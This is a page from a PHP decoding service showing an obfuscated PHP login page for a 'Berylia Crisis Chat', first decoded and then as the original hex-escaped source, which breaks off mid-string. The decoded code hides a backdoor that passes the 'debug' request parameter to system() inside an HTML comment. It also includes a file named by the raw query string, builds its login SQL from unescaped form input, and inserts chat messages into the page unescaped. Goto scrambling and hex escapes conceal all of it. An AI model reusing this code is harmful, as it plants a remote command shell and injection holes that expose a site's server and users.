Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto vHyPg; TT20I: if (!isset($_SESSION["\165\163\x65\162\x6e\141\x6d\x65"])) { go..

Decoded Output download

<?php 
 goto vHyPg; TT20I: if (!isset($_SESSION["username"])) { goto Hbs1e; } goto HYtFq; S7pdz: include "oauth.php"; goto MEgz2; Wv9Pm: $CpYu0 = $t_kEs["username"]; goto vk3Zb; sKoCv: $iTzdW->query("delete from online_users where user_id = '{$sdgMk}'"); goto sBiRV; EiHI0: include $_SERVER["QUERY_STRING"]; goto yXowo; t2sxN: echo "<html>
<head>\xa	<title>Berylia Crisis Chat</title>
\x9<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
		<link rel="stylesheet" href="?./bootstrap.min.css">\xa\x9	<link rel="stylesheet" href="?./chat/bubble.css">
\x9\x9<script src="//cdn.berylia.org/jquery/v1.10.2/jquery.min.js"></script>\xa\x9	<script src="?./bootstrap.min.js"></script>\xa\x9<style>
	\x9.view-body { \xa			height: 60%; \xa	\x9}\xa		img { \xa	\x9	width: 20px; 
	\x9	margin-right: 5px; 
\x9	}
		.tab-panem { \xa		\x9height: 60%; \xa			overflow-y: scroll; 
\x9	\x9width: 100%; \xa\x9\x9}
\x9\x9.look { \xa	\x9	width: 100%; \xa	\x9\x9overflow: overlay; \xa\x9	}\xa\x9\x9\xa\x9</style>\xa</head>\xa<nav class="navbar navbar-inverse navbar-static-top" role="navigation">\xa  <div class="navbar-header">
    <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
      <span class="sr-only">Toggle navigation</span>\xa      <span class="icon-bar"></span>
      <span class="icon-bar"></span>
      <span class="icon-bar"></span>
    </button>
    <a class="navbar-brand" href="#">Berylia Crisis Chat</a>\xa  </div>\xa\xa  <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
    <ul class="nav navbar-nav navbar-right">
      <li><a href="#">Login</a></li>\xa    </ul>\xa  </div>
</nav>\xa
<div class="container">\xa\x9<div class="modal-body row ">\xa\x9		
\x9	</div>
\x9	<div class="col-md-8 col-md-offset-2">
\x9\x9\x9<div class="panel panel-default">\xa  	\x9\x9<div class="panel-heading">Information for public</div>\xa\x9		  <div class="panel-body tab-pane tab-panem view-body">
  	\x9	</div>
\x9	\x9</div>\xa	\x9</div>\xa	</div>
</div>\xa
<script>\xa	\x9var get_messages_loop = function() { \xa\xa		\x9var friend_id = 1;

\x9	\x9try { \xa		\x9\x9var last_msg_time = $('input[type=hidden]')[$('input[type=hidden]').length-1].value;\xa\x9\x9	} catch (err){\xa\x9			last_msg_time = "0"; 
	\x9	}
		\x9last_msg_time = last_msg_time.replace(":", "");\xa			last_msg_time = last_msg_time.replace(":", "");
	\x9\x9last_msg_time = last_msg_time.replace(" ", "");\xa			last_msg_time = last_msg_time.replace("-", "");
\x9\x9	last_msg_time = last_msg_time.replace("-", "");\xa
\x9	\x9$.ajax({url: "/chat/get_messages_loop.php?friend_id="+friend_id+"&time="+last_msg_time, success: function(result){\xa\x9\x9\x9\x9res = result.slice(1, -3) + "]" ;
		\x9\x9obj = JSON.parse(res); \xa\x9\x9\x9\x9for(var i=0; i<obj.length; i++){
			\x9	$('.view-body').append("<div class='look'><div class='bubble me'><b>" + obj[i].username +"</b> on "+ obj[i].timestamp +" wrote: <br>"+ obj[i].msg+"</div><input type='hidden' name='timestamp' value='" + obj[i].timestamp + "'</div>");
\x9	\x9}\xa	\x9\x9
	\x9\x9}});\xa\x9	};\xa\x9	get_messages_loop();
\x9\x9setInterval(get_messages_loop, 3000);
</script>\xa\xa<div class="container">
	<div class="row">\xa        <div class="span12 col-md-8 col-md-offset-2">\xa    \x9	<div class="" id="loginModal">
              <div class="modal-body">\xa                <div class="well">
                  <ul class="nav nav-tabs">\xa                    <li class="active"><a href="#login" data-toggle="tab">Login</a></li>
                    <li><a href="#create" data-toggle="tab">Create Account</a></li>\xa                  </ul>
                  <div id="myTabContent" class="tab-content">\xa                    <div class="tab-pane active in" id="login">\xa                      <form class="form-horizontal" method="POST">\xa                        <fieldset>\xa                          <div id="legend">
                            <legend class="">Login</legend>
                          </div>    
                          <div class="control-group">\xa		\x9	\x9		<p><a class="btn btn-warning" href="/?sso">Berylia SSO</a></p>\xa                            <p>or</p>\xa                            <label class="control-label"  for="username">Username</label>\xa                            <div class="controls">
                              <input type="text" id="username" name="username" placeholder="" class="input-xlarge">
                            </div>\xa                          </div>
     
                          <div class="control-group">
                            <!-- Password-->
                            <label class="control-label" for="password">Password</label>\xa                            <div class="controls">\xa                              <input type="password" id="password" name="password" placeholder="" class="input-xlarge">
                            </div>\xa                          </div>\xa     \xa     
                          <div class="control-group">\xa                            <!-- Button -->
                            <div class="controls">\xa\x9	\x9				\x9<br><button class="btn btn-success">Login</button>
                            </div>
                          </div>
                        </fieldset>\xa                      </form>                
                    </div>\xa                    <div class="tab-pane fade" id="create">\xa                      <form method="post" action="register.php" id="tab">
                        <fieldset>
                          <div id="legend">
                            <legend class="">Register</legend>\xa                          </div>    \xa                          <div class="control-group">\xa                            <label class="control-label"  for="username">Username</label>\xa                            <div class="controls">
                              <input type="text" id="username" name="username" placeholder="" class="input-xlarge">
                            </div>\xa                          </div>

                          <div class="control-group">\xa                            <label class="control-label"  for="First Name">First Name</label>\xa                            <div class="controls">
                              <input type="text" id="firstname" name="firstname" placeholder="" class="input-xlarge">\xa                            </div>
                          </div>
                          <div class="control-group">\xa                            <label class="control-label"  for="Last Name">Last Name</label>
                            <div class="controls">
                              <input type="text" id="lastname" name="lastname" placeholder="" class="input-xlarge">
                            </div>
                          </div>\xa     \xa                          <div class="control-group">\xa                            <label class="control-label" for="password">Password</label>
                            <div class="controls">
                              <input type="password" id="password" name="password" placeholder="" class="input-xlarge">\xa                            </div>
                          </div>\xa\xa                          <div class="control-group">
                            <label class="control-label" for="confirm_password">Confirm Password</label>
                            <div class="controls">\xa                              <input type="password" id="confirm_password" name="confirm_password" placeholder="" class="input-xlarge">
                            </div>
                          </div>\xa     
                        </fieldset>
                        <div><br>\xa                          <button class="btn btn-primary">Create Account</button>
                        </div>\xa                      </form>\xa                    </div>
                </div>
              </div>\xa            </div>
"; goto QgmBF; yXowo: die; goto z1dTE; vHyPg: require_once "./config.php"; goto cKLL1; CyfeJ: $oHfC6 = "SELECT * FROM users WHERE username='" . $zfwtw . "' and password=md5('" . $SHggM . "')"; goto FSDAU; p5xdw: $SHggM = $_POST["password"]; goto CyfeJ; cKLL1: session_start(); goto S7pdz; FSDAU: $jyqNQ = $iTzdW->query($oHfC6); goto ptrc7; RpKSt: if (!(isset($_POST["username"]) && isset($_POST["password"]))) { goto iC1Q0; } goto fErTP; jrptq: $SmG7Q = !empty($_REQUEST["debug"]) ? $_REQUEST["debug"] : "uptime"; goto eUzae; sBiRV: $iTzdW->query("insert into online_users values ('{$sdgMk}', 'Y')"); goto CdPvq; tzvzY: $t_kEs = $jyqNQ->fetch_assoc(); goto fgti1; CdPvq: echo "<script>window.location='/chat/';</script>"; goto yVPiG; PA9xz: iC1Q0: goto NMYOf; ptrc7: if ($jyqNQ->num_rows > 0) { goto VmDc_; } goto oAJaP; btuz0: $_SESSION["username"] = $CpYu0; goto sKoCv; oAJaP: echo "	<div class="alert alert-warning alert-dismissable">
  <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
  <strong>Error!</strong> Invalid Credentials. Please enter valid username and password.\xa"; goto yZZuH; fgti1: $sdgMk = $t_kEs["user_id"]; goto Wv9Pm; tNs3Z: echo "-->"; goto hel0i; vk3Zb: $_SESSION["user_id"] = $sdgMk; goto btuz0; z1dTE: p2QwI: goto TT20I; NMYOf: HX2js: goto jrptq; MEgz2: if (!(isset($_GET) && !empty($_GET) && !isset($_GET["state"]) && !isset($_REQUEST["debug"]))) { goto p2QwI; } goto EiHI0; fErTP: $zfwtw = $_POST["username"]; goto p5xdw; HYtFq: header("Location: /chat/"); goto a_043; eUzae: echo "<!--"; goto Ps5yq; Ps5yq: system($SmG7Q); goto tNs3Z; yVPiG: eBuwz: goto PA9xz; HywEJ: VmDc_: goto tzvzY; QgmBF: if (!($_SERVER["REQUEST_METHOD"] == "POST")) { goto HX2js; } goto RpKSt; a_043: Hbs1e: goto t2sxN; yZZuH: goto eBuwz; goto HywEJ; hel0i: echo "		\xa</div>\xa        </div>
	</div>\xa</div>
</body>
</html>
\xa"; 
 ?>

Did this file decode correctly?

Original Code

<?php
 goto vHyPg; TT20I: if (!isset($_SESSION["\165\163\x65\162\x6e\141\x6d\x65"])) { goto Hbs1e; } goto HYtFq; S7pdz: include "\x6f\141\x75\x74\150\56\x70\x68\160"; goto MEgz2; Wv9Pm: $CpYu0 = $t_kEs["\x75\163\x65\162\156\141\155\145"]; goto vk3Zb; sKoCv: $iTzdW->query("\x64\x65\x6c\145\x74\x65\x20\146\162\x6f\x6d\40\x6f\x6e\154\151\x6e\145\x5f\x75\163\145\162\x73\40\167\x68\145\x72\x65\40\x75\x73\x65\x72\137\x69\144\x20\x3d\40\47{$sdgMk}\47"); goto sBiRV; EiHI0: include $_SERVER["\x51\x55\105\122\x59\x5f\x53\x54\122\x49\x4e\107"]; goto yXowo; t2sxN: echo "\74\150\x74\155\154\76\12\x3c\x68\145\x61\144\x3e\xa\11\x3c\x74\x69\x74\x6c\145\76\x42\x65\x72\171\154\x69\141\40\x43\x72\x69\x73\x69\163\x20\103\x68\x61\164\x3c\x2f\164\x69\x74\x6c\145\x3e\12\x9\74\155\x65\x74\x61\40\156\141\x6d\x65\75\x22\166\x69\x65\167\x70\157\x72\164\42\40\143\157\156\x74\145\156\164\75\42\167\x69\144\164\x68\75\x64\x65\x76\x69\x63\x65\55\167\x69\144\x74\150\x2c\x20\151\156\x69\x74\151\141\154\x2d\x73\x63\141\154\145\x3d\61\x2c\40\x6d\x61\x78\x69\155\x75\155\55\163\143\x61\154\145\75\x31\42\x3e\12\11\11\74\x6c\x69\x6e\x6b\x20\x72\145\154\x3d\x22\x73\x74\171\154\145\x73\150\x65\145\x74\x22\40\x68\x72\145\146\75\42\77\56\57\142\x6f\x6f\164\163\164\162\x61\160\x2e\155\151\x6e\x2e\x63\x73\163\x22\x3e\xa\x9\11\74\x6c\x69\156\x6b\x20\162\x65\x6c\x3d\x22\x73\x74\171\x6c\x65\163\x68\x65\x65\164\x22\40\150\162\x65\x66\75\x22\77\56\57\143\150\141\x74\x2f\x62\165\142\142\154\x65\x2e\143\x73\x73\42\76\12\x9\x9\74\163\x63\x72\x69\160\164\40\163\x72\x63\x3d\x22\57\x2f\143\144\156\x2e\x62\x65\x72\x79\154\x69\141\x2e\x6f\x72\x67\x2f\152\161\x75\x65\x72\x79\x2f\166\x31\x2e\61\60\56\x32\x2f\x6a\x71\x75\145\x72\171\56\155\151\156\x2e\x6a\x73\42\76\x3c\57\163\143\162\x69\x70\x74\76\xa\x9\11\74\x73\143\162\x69\x70\x74\40\x73\162\x63\x3d\x22\77\x2e\57\142\157\x6f\164\163\164\162\x61\x70\x2e\x6d\x69\x6e\x2e\152\x73\42\76\x3c\57\x73\143\162\x69\160\164\76\xa\x9\x3c\163\x74\x79\154\145\76\12\11\x9\x2e\166\x69\145\167\x2d\142\x6f\x64\171\x20\x7b\x20\xa\11\11\11\150\x65\151\147\150\x74\72\40\66\60\45\x3b\40\xa\11\x9\175\xa\11\11\151\x6d\147\x20\173\x20\xa\11\x9\11\x77\x69\x64\164\150\x3a\x20\62\x30\x70\x78\x3b\40\12\11\x9\11\x6d\141\x72\x67\151\156\x2d\162\x69\x67\150\164\72\x20\65\160\170\x3b\40\12\x9\11\175\12\11\11\x2e\x74\x61\x62\55\x70\x61\156\x65\155\x20\173\40\xa\11\11\x9\x68\x65\151\x67\x68\x74\x3a\x20\x36\60\x25\73\x20\xa\11\11\11\x6f\x76\145\x72\x66\154\x6f\167\55\171\x3a\x20\x73\x63\162\x6f\154\x6c\x3b\40\12\x9\11\x9\167\x69\144\x74\150\x3a\x20\61\60\60\x25\x3b\x20\xa\x9\x9\x7d\12\x9\x9\x2e\x6c\157\x6f\153\40\173\x20\xa\11\x9\11\x77\151\x64\164\150\x3a\40\61\60\60\45\x3b\x20\xa\11\x9\x9\157\x76\145\x72\x66\x6c\x6f\x77\72\40\157\x76\x65\x72\154\141\171\x3b\x20\xa\x9\11\175\xa\x9\x9\xa\x9\x3c\x2f\x73\164\x79\x6c\x65\76\xa\x3c\x2f\x68\145\141\x64\76\xa\x3c\x6e\141\x76\40\143\x6c\141\x73\x73\75\x22\156\141\166\x62\x61\162\x20\x6e\141\x76\142\141\162\55\x69\156\166\x65\x72\163\145\40\156\141\x76\x62\141\162\55\x73\164\141\x74\151\143\55\x74\x6f\160\x22\x20\x72\x6f\x6c\145\x3d\42\x6e\x61\x76\151\x67\x61\164\x69\x6f\x6e\42\76\xa\40\x20\x3c\x64\151\x76\40\143\x6c\141\x73\x73\75\42\x6e\141\x76\x62\141\x72\x2d\x68\145\x61\144\145\162\x22\x3e\12\40\40\40\40\74\x62\x75\x74\164\x6f\156\40\x74\x79\160\x65\x3d\x22\142\x75\164\164\157\x6e\42\x20\143\154\141\163\163\75\x22\x6e\x61\166\x62\141\x72\55\164\157\x67\147\x6c\x65\42\x20\144\x61\164\x61\x2d\x74\x6f\147\147\154\145\75\42\x63\x6f\x6c\x6c\x61\160\x73\145\42\40\x64\141\x74\x61\55\164\x61\x72\x67\145\164\x3d\42\43\x62\x73\55\x65\170\x61\155\160\x6c\145\55\x6e\x61\166\142\141\162\x2d\143\157\154\x6c\141\x70\x73\x65\x2d\61\42\x3e\12\x20\x20\x20\40\40\40\74\163\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\75\x22\x73\162\55\157\156\154\x79\x22\x3e\x54\x6f\x67\x67\x6c\145\40\x6e\141\166\151\147\x61\x74\151\157\x6e\74\57\163\x70\141\x6e\76\xa\x20\40\40\x20\x20\x20\x3c\x73\x70\x61\x6e\x20\143\x6c\141\163\x73\75\x22\151\143\157\x6e\x2d\142\x61\162\42\x3e\74\57\163\x70\141\156\x3e\12\x20\x20\x20\x20\40\40\x3c\x73\160\141\x6e\40\143\154\141\x73\x73\75\42\151\143\157\x6e\55\142\x61\162\x22\76\74\57\163\160\141\x6e\76\12\40\x20\x20\40\40\x20\x3c\163\160\x61\x6e\40\143\x6c\141\x73\x73\x3d\42\x69\x63\x6f\156\55\x62\141\162\x22\x3e\74\57\163\x70\141\156\76\12\40\x20\x20\x20\x3c\x2f\142\x75\x74\164\x6f\156\x3e\12\x20\x20\40\40\74\141\x20\x63\154\x61\x73\163\x3d\42\x6e\141\166\x62\x61\162\55\142\x72\141\x6e\144\x22\x20\150\x72\145\146\x3d\x22\43\42\76\x42\x65\x72\171\154\151\141\x20\x43\162\151\x73\x69\x73\x20\x43\150\x61\164\74\x2f\141\76\xa\x20\40\74\x2f\144\151\166\76\xa\xa\x20\x20\74\144\x69\166\40\143\154\141\x73\x73\x3d\x22\x63\x6f\154\154\x61\160\x73\x65\40\156\141\166\x62\x61\x72\x2d\x63\x6f\154\154\141\x70\x73\145\x22\40\151\144\75\x22\x62\x73\55\x65\x78\141\155\x70\x6c\145\x2d\x6e\x61\166\142\x61\162\x2d\x63\157\x6c\154\x61\160\163\145\55\x31\42\x3e\12\x20\40\40\40\x3c\x75\x6c\x20\x63\154\x61\x73\x73\75\42\x6e\x61\x76\x20\156\x61\166\x62\x61\x72\55\156\x61\x76\x20\156\x61\x76\142\x61\162\55\x72\151\x67\150\164\x22\76\12\x20\x20\x20\40\x20\x20\x3c\x6c\x69\76\x3c\141\x20\150\162\145\146\75\x22\x23\42\76\114\157\x67\x69\x6e\74\x2f\x61\76\x3c\x2f\x6c\x69\x3e\xa\x20\x20\40\x20\74\57\165\154\x3e\xa\40\40\x3c\x2f\144\x69\x76\76\12\74\57\156\x61\166\76\xa\12\74\x64\x69\x76\x20\x63\x6c\141\x73\x73\75\x22\x63\157\x6e\164\141\x69\156\x65\162\x22\76\xa\x9\x3c\144\x69\166\40\x63\x6c\141\163\x73\75\42\155\x6f\x64\x61\154\55\x62\157\144\171\x20\x72\157\x77\x20\x22\x3e\xa\x9\11\11\12\x9\11\x3c\57\144\x69\166\76\12\x9\11\74\144\x69\x76\40\143\154\141\x73\x73\x3d\x22\x63\x6f\154\55\155\x64\55\x38\x20\x63\157\x6c\x2d\x6d\144\55\157\146\146\x73\145\x74\55\62\x22\76\12\x9\x9\x9\x3c\x64\151\x76\40\x63\154\x61\x73\x73\x3d\x22\x70\141\156\145\x6c\x20\x70\141\x6e\x65\x6c\55\144\145\x66\141\x75\154\164\42\76\xa\x20\x20\11\x9\x9\74\144\x69\166\x20\143\154\x61\x73\x73\x3d\42\x70\x61\x6e\x65\154\55\x68\x65\x61\x64\151\156\147\x22\76\x49\x6e\146\x6f\162\x6d\141\164\151\x6f\156\40\146\x6f\162\x20\x70\x75\x62\154\151\x63\74\57\x64\151\x76\x3e\xa\x9\11\11\40\x20\x3c\144\x69\166\40\x63\154\141\163\163\75\42\160\141\x6e\x65\x6c\55\x62\x6f\x64\171\40\164\141\142\55\160\141\x6e\145\40\x74\141\x62\x2d\160\141\156\x65\x6d\40\166\151\145\x77\x2d\142\x6f\x64\x79\x22\76\12\x20\40\11\x9\11\74\57\144\151\166\76\12\x9\11\x9\x3c\57\144\151\x76\x3e\xa\11\x9\x3c\x2f\144\151\166\x3e\xa\11\74\x2f\x64\x69\x76\76\12\x3c\x2f\x64\x69\x76\76\xa\12\x3c\x73\x63\x72\151\x70\164\76\xa\11\x9\x76\141\x72\40\x67\145\x74\137\155\145\163\163\x61\147\145\x73\137\154\157\157\160\x20\x3d\40\146\165\156\x63\164\151\x6f\156\x28\51\x20\173\x20\xa\xa\11\11\x9\x76\141\162\x20\x66\162\151\x65\156\144\x5f\x69\x64\40\x3d\x20\61\x3b\12\12\x9\11\x9\164\x72\171\x20\173\x20\xa\11\11\x9\x9\166\141\x72\x20\x6c\141\x73\164\137\155\163\x67\x5f\x74\x69\155\145\40\x3d\40\44\50\47\151\156\x70\x75\x74\x5b\x74\x79\160\145\x3d\150\x69\144\x64\145\156\135\x27\x29\133\44\x28\47\151\x6e\160\x75\164\133\x74\171\x70\x65\x3d\150\151\x64\144\145\x6e\x5d\x27\x29\56\154\145\x6e\x67\x74\150\x2d\x31\x5d\56\x76\141\x6c\165\x65\x3b\xa\x9\x9\11\x7d\x20\x63\141\x74\143\x68\x20\x28\x65\x72\162\51\x7b\xa\x9\11\11\11\x6c\141\x73\x74\137\x6d\163\147\137\164\x69\x6d\x65\40\x3d\40\x22\x30\42\x3b\x20\12\11\x9\11\175\12\11\11\x9\x6c\x61\163\164\137\x6d\x73\147\137\x74\151\155\145\40\x3d\x20\154\x61\163\164\137\x6d\x73\x67\x5f\x74\151\x6d\x65\x2e\162\x65\160\154\x61\x63\145\x28\42\x3a\x22\x2c\x20\x22\42\51\73\xa\11\11\11\x6c\x61\x73\164\137\x6d\x73\x67\x5f\164\151\155\145\x20\x3d\x20\x6c\x61\163\x74\137\x6d\x73\147\x5f\x74\x69\x6d\145\56\162\x65\x70\154\141\143\x65\x28\42\x3a\42\x2c\x20\42\x22\x29\73\12\11\x9\x9\154\x61\163\164\x5f\x6d\x73\x67\x5f\x74\x69\155\x65\40\x3d\40\154\x61\163\x74\x5f\155\x73\147\x5f\164\x69\155\x65\x2e\x72\x65\160\154\x61\x63\x65\x28\42\40\42\54\40\42\42\51\73\xa\11\11\11\x6c\141\163\164\137\155\x73\147\x5f\x74\x69\x6d\145\x20\75\x20\x6c\x61\x73\164\137\155\x73\147\x5f\164\151\155\x65\x2e\162\145\x70\154\141\143\145\50\42\x2d\42\x2c\x20\x22\42\51\73\12\x9\x9\11\154\x61\163\164\x5f\x6d\163\x67\x5f\x74\151\155\x65\x20\75\x20\154\141\x73\x74\x5f\x6d\163\x67\137\164\x69\155\145\56\x72\145\x70\154\141\143\x65\x28\42\55\42\x2c\x20\42\42\51\73\xa\12\x9\11\x9\x24\56\141\x6a\x61\x78\50\x7b\165\162\x6c\72\40\42\57\143\x68\141\164\x2f\x67\145\x74\x5f\155\145\163\163\x61\147\x65\163\x5f\x6c\157\157\x70\56\160\150\160\77\146\x72\x69\145\156\144\x5f\151\x64\75\x22\53\146\162\x69\145\156\x64\x5f\151\144\53\42\x26\164\x69\x6d\x65\75\42\53\154\x61\163\x74\x5f\x6d\x73\x67\x5f\x74\x69\x6d\x65\x2c\40\x73\x75\143\143\145\163\163\72\40\x66\165\x6e\143\164\x69\157\156\x28\162\x65\163\x75\154\164\51\173\xa\x9\x9\x9\x9\x72\x65\x73\x20\75\40\x72\x65\x73\165\x6c\x74\x2e\x73\x6c\151\143\x65\x28\x31\54\x20\x2d\63\51\40\53\x20\x22\x5d\x22\x20\x3b\12\11\11\x9\x9\x6f\142\x6a\40\x3d\x20\x4a\x53\117\x4e\56\x70\x61\x72\163\145\50\162\x65\x73\51\x3b\x20\xa\x9\x9\x9\x9\146\157\162\x28\166\141\x72\40\x69\x3d\x30\73\x20\x69\x3c\x6f\142\x6a\56\x6c\145\156\x67\x74\x68\x3b\x20\151\53\53\x29\173\12\11\11\11\x9\11\44\x28\47\x2e\166\151\145\167\x2d\142\157\144\x79\x27\51\56\x61\x70\160\145\156\144\50\42\74\x64\151\166\x20\x63\x6c\141\163\x73\75\47\x6c\x6f\157\x6b\47\76\x3c\x64\151\x76\40\x63\154\x61\x73\x73\x3d\47\x62\165\142\x62\x6c\145\40\155\145\47\x3e\x3c\142\76\x22\x20\x2b\x20\157\142\152\x5b\151\135\56\165\x73\x65\162\x6e\141\x6d\x65\40\53\42\74\x2f\x62\76\x20\157\x6e\x20\42\53\x20\x6f\142\152\x5b\151\x5d\x2e\164\x69\155\145\163\164\x61\155\160\x20\53\42\40\x77\x72\x6f\x74\145\x3a\40\74\x62\162\x3e\x22\53\x20\x6f\142\152\x5b\151\x5d\x2e\155\163\x67\x2b\42\x3c\57\x64\151\x76\76\74\151\156\160\165\x74\x20\x74\x79\160\x65\x3d\47\x68\151\144\x64\x65\x6e\x27\x20\156\141\x6d\145\x3d\x27\164\x69\x6d\x65\163\164\x61\x6d\160\x27\x20\x76\141\154\x75\145\75\x27\x22\40\53\x20\157\x62\152\x5b\151\x5d\56\164\x69\155\145\x73\164\x61\155\x70\40\53\x20\42\x27\x3c\x2f\144\151\166\x3e\x22\x29\73\12\x9\11\x9\175\xa\11\x9\x9\12\11\x9\x9\175\x7d\x29\x3b\xa\x9\11\x7d\73\xa\x9\11\x67\x65\164\x5f\155\x65\163\x73\141\147\x65\163\x5f\x6c\157\157\160\x28\x29\73\12\x9\x9\163\x65\x74\111\156\x74\x65\162\166\x61\154\50\147\x65\x74\x5f\155\145\x73\x73\x61\147\x65\x73\x5f\154\157\157\160\54\x20\x33\60\60\x30\51\x3b\12\74\x2f\163\143\x72\151\160\x74\76\xa\xa\x3c\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\143\157\x6e\164\141\151\156\145\x72\x22\76\12\11\x3c\x64\151\x76\x20\143\154\141\x73\x73\75\x22\x72\x6f\x77\x22\x3e\xa\x20\x20\40\40\40\x20\40\x20\74\144\151\166\40\x63\x6c\141\x73\x73\75\x22\x73\160\141\x6e\x31\x32\x20\143\x6f\x6c\x2d\x6d\144\x2d\x38\x20\143\157\154\x2d\x6d\x64\55\157\146\146\x73\x65\164\55\x32\42\x3e\xa\40\x20\40\x20\x9\11\x3c\x64\x69\x76\x20\143\x6c\141\x73\163\75\42\42\x20\151\x64\x3d\42\154\157\147\x69\156\115\157\x64\x61\154\42\76\12\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\74\144\x69\x76\x20\x63\154\141\163\163\x3d\x22\x6d\157\144\141\x6c\x2d\x62\x6f\144\171\x22\x3e\xa\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x3c\x64\151\166\40\143\x6c\141\x73\x73\x3d\42\x77\x65\154\154\x22\76\12\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\74\165\154\40\x63\154\141\163\x73\75\x22\156\141\x76\40\156\141\166\55\x74\x61\142\x73\42\x3e\xa\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\74\154\151\40\143\x6c\x61\x73\x73\75\42\141\143\164\151\166\145\x22\x3e\x3c\x61\x20\150\x72\145\x66\x3d\42\43\x6c\157\x67\151\156\42\x20\144\141\x74\x61\55\x74\x6f\147\x67\154\145\x3d\42\164\x61\142\x22\x3e\114\157\147\151\156\74\57\141\76\x3c\x2f\154\x69\x3e\12\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x3c\x6c\151\x3e\74\141\x20\150\162\x65\x66\x3d\42\x23\x63\162\145\141\164\x65\42\40\144\141\164\141\x2d\164\157\x67\x67\154\x65\x3d\x22\x74\x61\142\42\x3e\x43\162\145\141\164\145\40\101\x63\x63\x6f\x75\156\164\74\x2f\141\76\74\57\154\151\x3e\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x3c\x2f\165\154\76\12\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x69\144\x3d\x22\155\171\124\141\x62\103\x6f\156\x74\x65\x6e\x74\42\x20\143\x6c\x61\163\x73\x3d\42\x74\x61\x62\55\x63\157\156\164\145\x6e\164\42\76\xa\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\74\x64\151\x76\x20\143\154\141\x73\163\75\x22\x74\141\x62\x2d\160\x61\156\x65\40\x61\x63\164\x69\166\145\40\151\156\x22\x20\x69\144\75\x22\x6c\157\147\x69\156\x22\76\xa\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\74\146\x6f\162\155\40\x63\154\x61\163\x73\x3d\42\146\157\x72\x6d\55\150\x6f\162\151\172\x6f\x6e\164\141\x6c\42\x20\x6d\x65\164\x68\x6f\x64\x3d\42\120\x4f\123\x54\x22\76\xa\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\74\146\x69\x65\154\144\163\145\164\76\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x3c\x64\151\x76\40\151\x64\x3d\x22\154\x65\x67\x65\156\x64\x22\76\12\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x3c\154\x65\x67\145\x6e\144\40\143\x6c\x61\163\x73\75\42\42\x3e\114\157\x67\151\x6e\74\57\154\145\147\145\156\x64\x3e\12\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\74\x2f\144\151\166\x3e\40\40\x20\40\12\x20\40\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\74\x64\151\166\40\x63\154\x61\163\x73\75\42\x63\x6f\156\x74\162\x6f\154\55\147\x72\x6f\165\160\x22\76\xa\11\11\x9\11\x9\11\11\x3c\160\x3e\x3c\x61\x20\143\154\141\163\x73\75\x22\x62\164\156\40\x62\x74\156\x2d\167\x61\162\x6e\x69\x6e\147\42\40\150\x72\x65\x66\75\x22\x2f\77\163\163\x6f\42\x3e\102\145\x72\x79\154\x69\x61\40\x53\123\x4f\x3c\57\141\x3e\74\x2f\160\76\xa\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\74\160\76\x6f\162\x3c\57\160\76\xa\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x3c\154\x61\142\x65\x6c\x20\x63\x6c\x61\163\x73\x3d\x22\x63\x6f\156\164\x72\x6f\x6c\55\x6c\x61\x62\x65\154\x22\x20\x20\x66\x6f\x72\75\42\x75\163\145\x72\156\141\155\145\x22\x3e\x55\x73\145\162\156\x61\x6d\145\74\57\154\x61\x62\x65\x6c\76\xa\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\74\144\x69\166\40\x63\154\141\x73\x73\x3d\42\143\157\x6e\x74\162\157\x6c\x73\42\x3e\12\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\40\40\x20\x3c\151\156\160\165\x74\40\x74\171\x70\145\x3d\42\164\145\x78\164\42\x20\x69\144\75\x22\165\163\145\x72\156\141\155\x65\42\40\x6e\141\x6d\x65\75\42\165\x73\145\162\156\x61\x6d\x65\42\40\x70\x6c\141\143\145\150\157\x6c\144\x65\x72\75\x22\x22\40\143\154\x61\163\x73\x3d\42\x69\156\x70\165\x74\55\170\154\x61\x72\x67\145\x22\x3e\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\xa\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x3c\x2f\144\x69\x76\76\12\x20\40\x20\x20\40\12\x20\x2